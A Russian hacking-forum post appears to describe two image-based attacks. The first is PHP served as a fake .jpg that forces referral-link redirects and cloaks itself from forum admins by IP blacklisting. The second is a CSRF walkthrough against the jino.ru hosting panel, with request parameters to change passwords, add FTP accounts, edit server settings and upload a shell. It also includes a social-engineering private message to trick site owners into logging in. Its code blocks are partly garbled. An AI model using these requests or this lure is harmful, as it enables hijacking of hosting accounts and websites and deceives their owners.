Реф.ссылки в картинках + клоакинг | CSRF через IMG на примере хостинга jino.ru
==============================
Реф.ссылки в картинках + клоакинг
В прошлом месяце я ради интереса реализовал ротацию изображений через бб-код IMG. Пример:
[IMG]http://*****/img_test/rotation/test.jpg[/IMG]
При каждом обновлении страницы изображение меняется.
Сегодня увидел этот пост:
/showpost.php?p=2650247&postcount=1818
Он натолкнул на интересную мысль. Совместил его способ со своей ротацией изображений, немного доработал и вот что получилось:
test.jpg
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]count[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$def_images[/COLOR][COLOR="#007700"]))
[/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Content-type: image/jpeg"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]imagecreatefromjpeg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$def_images[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$type[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]imagejpeg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]imagedestroy[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$im[/COLOR][COLOR="#007700"]);
die();
}
[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM `links` WHERE `ip` =[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]mysql_num_rows[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]))
{
[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_assoc[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$link_num[/COLOR][COLOR="#007700"]= (int)[/COLOR][COLOR="#0000BB"]$row[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'link_num'[/COLOR][COLOR="#007700"]];
if([/COLOR][COLOR="#0000BB"]$link_num[/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
При каждом обновлении страницы сайта с этой "картинкой" (с одного IP-адреса), поочереди происходит переход по ссылкам из массива all_links. Вместо ссылок можно также указывать путь к jpeg-файлам.
Переход по ссылкам осуществляется только если "картинка" загружается со страниц, в адресе которых содержится текст из массива allowed_referers, в других случаях отображается файл 'images/default.jpg'
Если repeat включен, ссылки после окончания списка будут прокручиваться заново. Если repeat выключен, после окончания списка будет отображаться файл 'images/default.jpg'.
Чтобы было меньше проблем, используется клоакинг - блэк-лист IP-адресов с возможностью разделения по группам и выдачи отдельной картинки на каждую группу.
Для того, чтобы добавить админа в блэк, достаточно отправить ему в личку сообщение с картинкой, приведенной ниже:
adm.jpg
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Дополнения:
.htaccess
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][COLOR="#0000BB"]AddType application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg
[/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
db.php
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
таблицы
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]CREATE TABLE[/COLOR][COLOR="#007700"]IF[/COLOR][COLOR="#0000BB"]NOT EXISTS[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]links[/COLOR][COLOR="#007700"]` (
`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL auto_increment[/COLOR][COLOR="#007700"],
`[/COLOR][COLOR="#DD0000"]ip[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],
`[/COLOR][COLOR="#DD0000"]link_num[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#0000BB"]PRIMARY KEY[/COLOR][COLOR="#007700"](`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`)
);
[/COLOR][COLOR="#0000BB"]CREATE TABLE[/COLOR][COLOR="#007700"]IF[/COLOR][COLOR="#0000BB"]NOT EXISTS[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]black[/COLOR][COLOR="#007700"]` (
`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL auto_increment[/COLOR][COLOR="#007700"],
`[/COLOR][COLOR="#DD0000"]ip[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],
`[/COLOR][COLOR="#DD0000"]type[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#0000BB"]int[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]4[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]NOT NULL[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#0000BB"]PRIMARY KEY[/COLOR][COLOR="#007700"](`[/COLOR][COLOR="#DD0000"]id[/COLOR][COLOR="#007700"]`)
);
[/COLOR][/COLOR]
Ниже вставлена "картинка", код которой написан в теме.
Первые 3 обновления страницы - переход по ссылкам, потом появится изображение:
[IMG]http://*****/img_test/rotation2/test.jpg[/IMG]
Чтобы увидеть, что отображается у людей из блэк-листа, нужно перейти по
ссылке и обновить эту страницу.
=====================================
CSRF через IMG на примере хостинга jino.ru
Продолжу тему редиректов в картинках. Кроме реф.ссылок их можно использовать для проведения
CSRF-атак.
Для примера возьмем известный хостинг
jino.ru. Несмотря на популярность этого хостинга, опасных
CSRF-уязвимостей на нем много.
Панель управления хостинга находится на портах
8080(http) и
8443(https) всех сайтов, прикрепленных к аккаунту. На всех аккаунтах по-умолчанию есть домен
login.jino.ru.
В примерах запросов буду писать только список параметров и значений. Все запросы нормально работают с методами
GET и
POST (не забывайте про
URL Encode)
Изменение пароля
area=
services_chpassword
do=
services_chpassword
oldhint=
password=
newpass
password2=
newpass
Добавление FTP-аккаунта (при создании аккаунта к
FTP-логину добавляется префикс "
login_")
area=
management_ftpaccounts
do=
management_ftpaccountadd
ftp_login=
ftplogin
dir=
/
password=
pass
password2=
pass
Изменение пароля FTP-аккаунта
area=
management_ftpaccountedit
do=
management_ftpaccountchpass
login=
ftplogin
old_login=
ftplogin
dir=
/
password=
newpass
password2=
newpass
Изменение настроек веб-сервера (в запросе настройки с префиксом "
default_" -
обязательные, с префиксом "
d_" -
редактируемые)
area=
management_htsettings
do=
management_htaccesssave
default_AddDefaultCharset=
cp1251
default_allow_call_time_pass_reference=
1
default_display_errors=
1
default_magic_quotes_gpc=
0
default_magic_quotes_runtime=
0
default_open_basedir=
1
default_output_buffering=
1
default_post_max_size=
15M
default_register_globals=
0
default_upload_max_filesize=
8M
d_AddDefaultCharset=
cp1251
d_allow_call_time_pass_reference=
1
d_display_errors=
1
d_magic_quotes_gpc=
0
d_magic_quotes_runtime=
0
d_open_basedir=
1
d_output_buffering=
1
d_post_max_size=
15M
d_register_globals=
0
d_upload_max_filesize=
8M
На любой сайт, прикрепленный к аккаунту, можно загрузить любой текстовый файл за два запроса.
Создание файла
area=
filemanager_main
do=
filemanager_createfile
path=
/domains/testsite.ru
filename=
test.php
Изменение файла
do=
filemanager_savefile
area=
filemanager_editor
path=
/domains/testsite.ru/test.php
contents=
charset=
UTF-8
linebreaks=
UNIX
Так как все перечисленные запросы работают через
GET, их можно спрятать в картинке и разместить на форуме (или отправить по электронной почте).
Электронная почта менее эффективна, потому что многие знают об опасности чтения писем, полученных от незнакомых адресов, и не открывают их. О том, что чтение ЛС на форуме может быть опасно, не знает почти никто.
Один из вариантов
CSRF-атаки через
IMG:
В подпись ставится юзербар (
userbar.jpg). Вместо подписи можно отправить картинку в ЛС, но при ответе ссылка будет видна в цитировании и это вызовет подозрения.
Активная сессия сохраняется недолго, поэтому нужно заставить владельца сайта авторизоваться в панели управления. Тут потребуется немного СИ.
Пример сообщения в ЛС
Привет.
Я знаю, что ты тоже пользуешься хостингом на
jino.
Сегодня заметил странный баг. Когда захожу в панель через сайт
jino.ru, все нормально, а через
mysite:8080 баланс отображается намного больше реального:
[нарисованный скрин]
Можешь проверить, у тебя так же или проблема в моем аккаунте? Попробуй зайти в панель через
jino.ru, а потом через
targetsite:8080При просмотре скрина (
screen.jpg),
CSRF в юзербаре активируется на
IP-адрес владельца сайта.
После того, как будет получен ответ, подтверждающий авторизацию в панели управления, для заливки шелла достаточно отправить владельцу сайта еще два любых сообщения в ЛС.
Файлы:
.htaccess
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][COLOR="#0000BB"]AddType application[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]x[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]httpd[/COLOR][COLOR="#007700"]-[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]jpg
[/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
screen.jpg
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
userbar.jpg
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
.